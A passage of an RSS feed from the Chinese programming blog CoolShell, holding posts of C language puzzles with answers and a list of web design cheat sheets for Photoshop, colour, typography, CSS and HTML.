id=\"more-873\"></span></p>\n<li class=\"li-enumerate\"><strong>为什么下面的代码会返回0而不是-1？</strong>\n<pre class=\"verbatim\"><span style=\"color: #0000ff;\"> return ((1 - sizeof(int)) &gt;&gt; 32);\n</span></pre>\n<p>答案：<tt>sizeof</tt> 是一个unsigned的类型，所以……</li>\n<li class=\"li-enumerate\"><strong>代码作用域是一件很诡异的事，下面这个函数返回值是什么？<br />\n</strong></p>\n<pre class=\"verbatim\"><span style=\"color: #0000ff;\">int x = 5;\nint f() {\n  int x = 3;\n  {\n    extern int x;\n    return x;\n  }\n}\n</span></pre>\n<p>答案：5</li>\n<li class=\"li-enumerate\"><strong>函数和函数指针可以相互转换。下面的语句哪些是合法的？<br />\n</strong></p>\n<pre class=\"verbatim\"><span style=\"color: #0000ff;\">int (*pf)(void);\nint f(void)\n{\n\n   pf = &amp;f; <span style=\"color: #008000;\">// 没问题</span>\n   pf = ***f; <span style=\"color: #008000;\">// 取址？</span>\n   pf(); <span style=\"color: #008000;\">// 函数指针可以调用？\n</span>   (****pf)();  <span style=\"color: #008000;\">// 这又是什么？</span>\n   (***************f)(); <span style=\"color: #008000;\">// 这个够变态了吧？</span>\n}\n</span></pre>\n<p>答案：全部合法。</li>\n<li class=\"li-enumerate\"><strong>初始化可能是ISO C中最难的部分了。无论是MSVC 还是GCC 都没有完全实现。GCC 可能更接近标准。在下面的代码中，<tt>i.nested.y</tt> 和<tt>i.nested.z的最终值是什么？</tt></strong>\n<pre class=\"verbatim\"><span style=\"color: #0000ff;\">struct {\n   int x;\n   struct {\n       int y, z;\n   } nested;\n} i = { .nested.y = 5, 6, .x = 1, 2 };\n</span></pre>\n<p>答案：2和6</li>\n<li class=\"li-enumerate\"><strong>下面这个示例是C语言的痛，main函数返回值是什么？</strong>\n<pre class=\"verbatim\"><span style=\"color: #0000ff;\">typedef struct\n{\n  char *key;\n  char *value;\n} T1;\n\ntypedef struct\n{\n  long type;\n  char *value;\n} T3;\n\nT1 a[] =\n{\n  {\n    \"\",\n    ((char *)&amp;((T3) {1, (char *) 1}))\n  }\n};\nint main() {\n   T3 *pt3 = (T3*)a[0].value;\n   return pt3-&gt;value;\n}\n</span></pre>\n<p>答案：1（你知道为什么吗？）</li>\n<li class=\"li-enumerate\"><strong>下面这个例就更变态了。在GCC的文档中，这个语法是合法的，但是不知道为什么GCC并没有实现。下面的代码返回 2.</strong>\n<pre class=\"verbatim\"><span style=\"color: #0000ff;\"> return ((int []){1,2,3,4})[1];\n</span></pre>\n<p> </li>\n<li class=\"li-enumerate\"><strong>在下面的这个示例中，有一个“bar” 函数及其函数指针 “pbar” 的两个拷贝(static 类型一般作用于语句块或文件域).</strong>\n<pre class=\"verbatim\"><span style=\"color: #0000ff;\">  int foo() {\n     static bar();\n     static (*pbar)() = bar;\n\n  }\n\n  static bar() {\n    return 1;\n  }\n\n  static (*pbar)() = 0;\n</span></pre>\n<p> </li>\n<li class=\"li-enumerate\"><strong>下面的这个函数返回值是什么？取决于编译器是先处理unsigned long转型，还是负号。</strong>\n<pre class=\"verbatim\"><span style=\"color: #0000ff;\">  unsigned long foo() {\n    return (unsigned long) - 1 / 8;\n  }\n</span></pre>\n<p>如果是： <tt>((unsigned long) - 1) / 8，那将是一个很大的数。<br />\n</tt><tt>如果是：</tt> <tt>(unsigned long) (- 1 / 8 )</tt>, 那将是 0</li>\n</ol>\n<p class=\"li-enumerate\">是的，这样使用C语言可能很奇怪，不过我们可以从另一方面了解C语言的很多我们不常注意的特性。C语言其实并不容易。</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li><li ><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/04/c99-150x150.jpg\" alt=\"C语言的整型溢出问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_title\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/873.html\">谁说C语言很简单？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/873.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>40</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Web设计的速查卡</title>\n\t\t<link>https://coolshell.cn/articles/870.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/870.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 19 May 2009 13:43:19 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[CSS]]></category>\n\t\t<category><![CDATA[HTML]]></category>\n\t\t<category><![CDATA[XHTML]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=870</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>速查卡不仅仅可能帮助我们记住一些重要的东西，而且可以放在手边，当我们需要的时候，可以很快地查找。 在本篇文章中，你可以看到28个相当不错的关于Web设计的速查卡...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/870.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/870.html\">Web设计的速查卡</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>速查卡不仅仅可能帮助我们记住一些重要的东西，而且可以放在手边，当我们需要的时候，可以很快地查找。</p>\n<p>在本篇文章中，你可以看到28个相当不错的关于Web设计的速查卡，它们分别是关于：<strong>Photoshop, Dreamweaver, 颜色, 排版,</strong>和<strong> 其它Web设计相关的。</strong>他们都是一页纸，可以方便你很快地打印出来。</p>\n<h3>Photoshop</h3>\n<h4><a title=\"Trevor Morris Photographics - Adobe Photoshop Keyboard Shortcuts\" href=\"http://morris-photographics.com/photoshop/shortcuts/#pscs3\">Photoshop CS3 快捷键速查卡</a></h4>\n<p><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2008/09/07-01_cs3_keyboard_shortcuts.png\" alt=\"Photoshop CS3 Keyboard Shortcuts Cheat Sheet - screen shot.\" width=\"550\" height=\"250\" /><span class=\"figure-caption\">Downloads: <a title=\"PDF Download - For Windows\" href=\"http://morris-photographics.com/photoshop/shortcuts/downloads/PSCS3_Keyboard_Shortcuts_PC.pdf\">PDF (Windows)</a>, <a title=\"PDF Download - for Mac\" href=\"http://morris-photographics.com/photoshop/shortcuts/downloads/PSCS3_Keyboard_Shortcuts_Mac.pdf\">PDF (Mac)</a></span></p>\n<p><span class=\"figure-caption\"><span id=\"more-870\"></span></span></p>\n<p> </p>\n<h4><a title=\"Adobe - Keys for using the Layers palette\" href=\"http://livedocs.adobe.com/en_US/Photoshop/10.0/help.html?content=WS7D245964-27B4-403e-82D5-DDD1CB19A82B.html\">关于调色板的一些热键</a> (HTML)</h4>\n<p><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2008/09/07-02_keys_for_using_layers.png\" alt=\"Keys for using the Layers palette - screen shot.\" width=\"550\" height=\"250\" /></p>\n<h4><a href=\"http://simplephotoshop.com/photoshop_tools/index.htm\">Photoshop 工具栏速查</a> (HTML)</h4>\n<p><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2008/09/07-03_photoshop_toolbox_reference.png\" alt=\"Photoshop Toolbox Reference - screen shot\" width=\"550\" height=\"250\" /></p>\n<h4><a title=\"CreativeIQ - Staging: Photoshop Lasso Tool Cheatsheet.\" href=\"http://www.creativetechs.com/iq-staging/photoshop_lasso_tool_cheatshee.html\">Photoshop 套索工具速查</a></h4>\n<p><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2008/09/07-04_lasso_tool_cheatsheet.png\" alt=\"Photoshop Lasso Tool Cheatsheet - screen shot.\" width=\"550\" height=\"250\" /><span class=\"figure-caption\">Download: <a title=\"PDF Download - Photoshop Lasso Tool Cheatsheet\" href=\"http://creativetechs.com/tips/tip_resources/cheatsheets/Photoshop-Lasso-Cheatsheet.pdf\">PDF</a></span></p>\n<h4><a title=\"CreativeTechs - Photoshop Brush Tool Cheatsheet\" href=\"http://www.creativetechs.com/iq/photoshop_brush_tool_cheatsheet.html\">Photoshop 笔刷工作速查</a></h4>\n<p><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2008/09/07-05_brush_tool_cheatsheet.png\" alt=\"Photoshop Brush Tool Cheatsheet - screen shot.\" width=\"550\" height=\"250\" /><span class=\"figure-caption\">Download: <a title=\"PDF Download - Photoshop Brush Tool Cheatsheet\" href=\"http://creativetechs.com/tips/tip_resources/cheatsheets/Photoshop-Brush-Cheatsheet.pdf\">PDF</a></span></p>\n<h3> </h3>\n<h3>颜色</h3>\n<h4><a title=\"Added Bytes - RGB Hex Colour Chart\" href=\"http://www.addedbytes.com/cheat-sheets/colour-chart/\">RGB 十六进制表</a></h4>\n<p><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2008/09/07-06_rgb_color_codes.png\" alt=\"RGB Hex Colour Chart - Screen shot.\" width=\"550\" height=\"250\" /><span class=\"figure-caption\">Downloads: <a title=\"PDF Download\" href=\"http://www.addedbytes.com/download/rgb-hex-cheat-sheet-v1/pdf/\">PDF</a>, <a title=\"PNG Download\" href=\"http://www.addedbytes.com/download/rgb-hex-cheat-sheet-v1/png/\">PNG</a></span></p>\n<h4><a href=\"http://www.veign.com/downloads/guides/qrg0006.pdf\">颜色速查</a> (PDF)</h4>\n<p><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2008/09/07-07_veign_color_reference_guide.png\" alt=\"Color Reference Guide - screen shot.\" width=\"550\" height=\"250\" /></p>\n<h4><a title=\"Visibone - Web Designer's Color Reference Hexagon Mouse Pad\" href=\"http://www.visibone.com/color/hexagon3x.html\">Web设计颜色</a></h4>\n<p><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2008/09/07-08_hexagon_moust.png\" alt=\"Web Designer Color Reference Hexagon Mouse Pad - screen shot.\" width=\"550\" height=\"250\" /><span class=\"figure-caption\">Download: <a title=\"GIF Download - Hexagon_800.gif\" href=\"http://www.visibone.com/color/hexagon_800.gif\">GIF</a></span></p>\n<h4><a title=\"Page Tutor - 216 color chart\" href=\"http://www.pagetutor.com/common/bgcolors216.html\">Web 安全颜色表</a> (HTML)</h4>\n<p><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2008/09/07-09_web_safe_color_chart.png\" alt=\"Web Safe Color Chart - screen shot.\" width=\"550\" height=\"250\" /></p>\n<h4><a href=\"http://www.funky-chickens.com/hex.html\">十六进制颜色表</a> (HTML)</h4>\n<p><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2008/09/07-10_funky_chicken.png\" alt=\"Hexidecimal Color Chart - screen shot.\" width=\"550\" height=\"250\" /></p>\n<h4><a href=\"http://www.cookwood.com/html4_4e/examples/appendices/colorcharthex.html\"> 浏览器颜色表</a> (HTML)</h4>\n<p><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2008/09/07-11_the_browser_safe_colors.png\" alt=\"The Browser Safe Colors - screen shot.\" width=\"550\" height=\"250\" /></p>\n<h3> </h3>\n<h3>排版</h3>\n<h4><a title=\"Visibone - VisiBone Font Card\" href=\"http://www.visibone.com/font/\">VisiBone Font Card</a></h4>\n<p><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2008/09/07-12_font_chart.png\" alt=\"VisiBone Font Card - screen shot.\" width=\"550\" height=\"250\" /><span class=\"figure-caption\">Download: <a href=\"http://www.visibone.com/font/fcht_874.gif\">GIF</a></span></p>\n<h4><a href=\"http://www.ampsoft.net/webdesign-l/WindowsMacFonts.html\">常用字体表 </a> (HTML)</h4>\n<p><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2008/09/07-13_windows_font.png\" alt=\"Common fonts to all versions of Windows &amp; Mac equivalents - screen shot.\" width=\"550\" height=\"250\" /></p>\n<h4><a title=\"PDF Download - Mixing Typefaces\" href=\"http://www.as8.it/handouts/mixing-typefaces_U&amp;lc1992.pdf\">混合字体</a> (PDF)</h4>\n<p><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2008/09/07-14_mixing_typefaces.png\" alt=\"Free Fonts Cheat Sheet - screen shot.\" width=\"550\" height=\"250\" /></p>\n<h3>单元/尺寸</h3>\n<h4><a title=\"Reed Design - Approximate Conversion from Points to Pixels\" href=\"http://www.reeddesign.co.uk/test/points-pixels.html\">Points 和Pixels近似转换表</a> (HTML)</h4>\n<p><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2008/09/07-15_approximate_conversion.png\" alt=\"Approximate Conversion from Points to Pixels - screen shot.\" width=\"550\" height=\"250\" /></p>\n<h4><a title=\"Design215 - megapixels comparison and maximum print size charts\" href=\"http://www.design215.com/toolbox/megapixels.php\">Megapixels 表</a></h4>\n<p><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2008/09/07-16_megapixels_chart.png\" alt=\"Megapixels Chart - screen shot.\" width=\"550\" height=\"250\" /><span class=\"figure-caption\">Download: <a title=\"GIF Download - Megapixels Chart\" href=\"http://www.design215.com/toolbox/images/megapixels.gif\">GIF</a></span></p>\n<h3>CSS/CSS 框架</h3>\n<h4><a title=\"The Montoya Herald - Blueprint CSS Cheat Sheet\" href=\"http://www.christianmontoya.com/2007/11/12/blueprint-css-cheat-sheet/\">Blueprint CSS 速查卡</a></h4>\n<p><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2008/09/07-17_blueprint_css.png\" alt=\"Blueprint CSS Cheat Sheet - screen shot.\" width=\"550\" height=\"250\" /><span class=\"figure-caption\">Download: <a title=\"PDF Download - Blueprint CSS Cheat Sheet\" href=\"http://www.digitart.net/blueprintcss/bluebrintcss.pdf\">PDF</a></span></p>\n<h4><a title=\"YUI Library - CSS Reset, Base, Fonts, and Grids\" href=\"http://yuiblog.com/assets/pdf/cheatsheets/css.pdf\">YUI Library: CSS Reset, Base, Fonts, and Grids</a> (PDF)</h4>\n<p><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2008/09/07-18_yui_library.png\" alt=\"YUI Library: CSS Reset, Base, Fonts, and Grids - screen shot.\" width=\"550\" height=\"250\" /></p>\n<h4><a href=\"http://www.eddiewelker.com/wp-content/uploads/2007/09/csscheatsheet.pdf\">CSS 速查卡</a> (PDF)</h4>\n<p><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2008/09/07-19_css_shorthand_cheat_sheet.png\" alt=\"CSS Shorthand Cheat Sheet - screen shot.\" width=\"550\" height=\"250\" /></p>\n<h4><a title=\"Apple Dashboard Widgets - CSS Cheat Sheet\" href=\"http://www.apple.com/downloads/dashboard/developer/csscheatsheet.html\">Apple’s CSS 速查卡</a> (Mac Dashboard Widget)</h4>\n<p><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2008/09/07-20_apple_css_cheat_sheet.jpg\" alt=\"Apple's CSS Cheat Sheet Widget - screen shot.\" width=\"550\" height=\"250\" /></p>\n<h3>HTML/XHTML</h3>\n<h4><a href=\"http://home.uchicago.edu/~gan/file/html.pdf\">HTML &amp; XHTML 标识速查</a> (PDF)</h4>\n<p><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2008/09/07-21_html_xhtml_quick_ref.png\" alt=\"HTML &amp; XHTML Tag Quick Reference - screen shot.\" width=\"550\" height=\"250\" /></p>\n<h4><a href=\"http://www.html.su/entities.html\">HTML/XHTML 特殊字符表</a></h4>\n<p><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2008/09/07-22_xhtml_character_entitites.png\" alt=\"HTML/XHTML Character Entities - screen shot.\" width=\"550\" height=\"250\" /></p>\n<h4><a href=\"http://www.digitalmediaminute.com/reference/entity/index.php\">XHTML 特殊字符</a> (HTML)</h4>\n<p><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2008/09/07-23_html_xhtml_character.png\" alt=\"XHTML Character Entity Reference - screen shot.\" width=\"550\" height=\"250\" /></p>\n<h3>Dreamweaver</h3>\n<h4><a href=\"http://www.uwsp.edu/it/ApplicationSupport/appSuppDocsImages/referenceGuides/dreamweaver-quick-reference-cs3.pdf\">Dreamweaver 快速索引</a> (PDF)</h4>\n<p><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2008/09/07-24_dreamweaver_quick_reference.png\" alt=\"Dreamweaver Quick Reference Guide - screen shot.\" width=\"550\" height=\"250\" /></p>\n<h4><a href=\"http://daviddiskin.com/documents/Dreamweaver%20CS3%20for%20Mac.pdf\">Dreamweaver CS3 for Mac Quick Reference Card</a> (PDF)</h4>\n<p><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2008/09/07-25_dreamweaver_cs3_mac.png\" alt=\"Dreamweaver CS3 for Mac Quick Reference Card - screen shot.\" width=\"550\" height=\"250\" /></p>\n<h3>Illustrator</h3>\n<h4><a href=\"http://www.nobledesktop.com/shortcuts-illustratorcs2-mac.html\">Adobe Illustrator CS2 热键– MAC</a></h4>\n<p><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2008/09/07-26_illustrator.png\" alt=\"Adobe Illustrator CS2 Keyboard Shortcuts – MAC - screen shot.\" width=\"550\" height=\"250\" /><span class=\"figure-caption\">Download: <a href=\"http://www.nobledesktop.com/download/shortcut_guides/illustrator_cs2_shortcuts_mac.pdf\">PDF</a></span></p>\n<h3>Browsers</h3>\n<h4><a href=\"http://centricle.com/ref/css/filters/?highlight_columns=true\">浏览器兼容性表</a> (HTML)</h4>\n<p><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2008/09/07-27_browser_rules.png\" alt=\"Will the browser apply the rule(s)? - screen shot.\" width=\"550\" height=\"250\" /></p>\n<h4><a href=\"http://www.quirksmode.org/dom/compatibility.html#t00\">W3C DOM 兼容性表</a> (HTML)</h4>\n<p><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2008/09/07-28_w3c_dom_compatibility.png\" alt=\"W3C DOM Compatibility Tables - screen shot.\" width=\"550\" height=\"250\" /></p>\n<p>文章：<a href=\"http://sixrevisions.com/resources/cheat_sheets_for_web_designers/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg\" alt=\"浏览器的渲染原理简介\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_title\">浏览器的渲染原理简介</a></li><li ><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts-150x150.gif\" alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_title\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li ><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"一些有意思的贴子和工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_title\">一些有意思的贴子和工具</a></li><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/3063.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"40个很不错的CSS技术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3063.html\" class=\"wp_rp_title\">40个很不错的CSS技术</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/870.html\">Web设计的速查卡</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/870.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>20</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>语言的歧义</title>\n\t\t<link>https://coolshell.cn/articles/830.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/830.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Neo]]></dc:creator>\n\t\t<pubDate>Sun, 17 May 2009 07:57:59 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=830</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>语言是人与人相互沟通的途径，而计算机语言则是人和计算机沟通的途径。就算是任何再完美的自然语言都会有歧义，但是又是什么让人和计算计算机间产生了歧义呢？ 下面这篇文...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/830.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/830.html\">语言的歧义</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>语言是人与人相互沟通的途径，而计算机语言则是人和计算机沟通的途径。就算是任何再完美的自然语言都会有歧义，但是又是什么让人和计算计算机间产生了歧义呢？<br />\n下面这篇文章来自Gowri Kumar的<a href=\"http://www.gowrikumar.com/c/index.html\">Puzzle C</a>一文。我做了一些整理，挑选了其中的一些问题，并在之后配上相应的答案(这些答案是我加的，如果需要原版的答案可以直接和本文作者Gowri Kumar联系，作者的联系方式可以从<a href=\"http://www.gowrikumar.com/contact.html\">这里</a>得到)。</p>\n<h3>puzzle 1</h3>\n<p>此段程序的作者希望输出数组中的所有元素，但是他却没有得到他想要的结果，是什么让程序员和计算机产生歧义？</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\n#define TOTAL_ELEMENTS (sizeof(array) / sizeof(array[0]))\nint array[] = {23,34,12,17,204,99,16};\nint main()\n{\n    int d;\n\n    for(d=-1;d &lt;= (TOTAL_ELEMENTS-2);d++)\n        printf(&quot;%d\\n&quot;,array[d+1]);\n\n    return 0;\n}\n</pre>\n<p><span id=\"more-830\"></span></p>\n<p><strong>解答：</strong><br />\n运行上面的程序，结果是什么都没有输出，导致这个结果的原因是sizeof的返回值是一个unsinged int，为此在比较int d 和TOTAL_ELEMENTS两个值都被转换成了unsigned int来进行比较，这样就导致-1被转换成一个非常大的值，以至于for循环不满足条件。因此，如果程序员不能理解sizeof操作符返回的是一个unsigned int的话，就会产生类似如上的人机歧义。</p>\n<h3>puzzle 2</h3>\n<p>看上去非常完美的程序，是什么导致了编程程序不通过？</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\n\nvoid OS_Solaris_print()\n{\n    printf(&quot;Solaris - Sun Microsystems\\n&quot;);\n}\n\nvoid OS_Windows_print()\n{\n    printf(&quot;Windows - Microsoft\\n&quot;);\n}\n\nvoid OS_HP-UX_print()\n{\n    printf(&quot;HP-UX - Hewlett Packard\\n&quot;);\n}\n\nint main()\n{\n    int num;\n    printf(&quot;Enter the number (1-3):\\n&quot;);\n    scanf(&quot;%d&quot;,&amp;num);\n\n    switch(num)\n    {\n        case 1:\n            OS_Solaris_print();\n            break;\n        case 2:\n            OS_Windows_print();\n            break;\n        case 3:\n            OS_HP-UX_print();\n            break;\n        default:\n            printf(&quot;Hmm! only 1-3 :-)\\n&quot;);\n        break;\n    }\n    return 0;\n}\n</pre>\n<p><strong>解答：</strong><br />\n程序员要以计算机的语言进行思考，不上上面那段程序导致的结果不止是歧义这么简单，而直接的结果是，导致计算机&#8221;听不懂&#8221;你在说什么。导致计算机听不懂的原因是HP-UX中的&#8217;-&#8216;是减号？还是其他什么？</p>\n<h3>puzzle 3</h3>\n<p>下面这段程序会输出什么，为什么？</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nenum {false,true};\n\nint main()\n{\n    int i=1;\n    do\n    {\n        printf(&quot;%d\\n&quot;,i);\n        i++;\n\n        if(i &lt; 15)\n            continue;\n    }while(false);\n\n    return 0;\n}\n</pre>\n<p><strong>解答：</strong><br 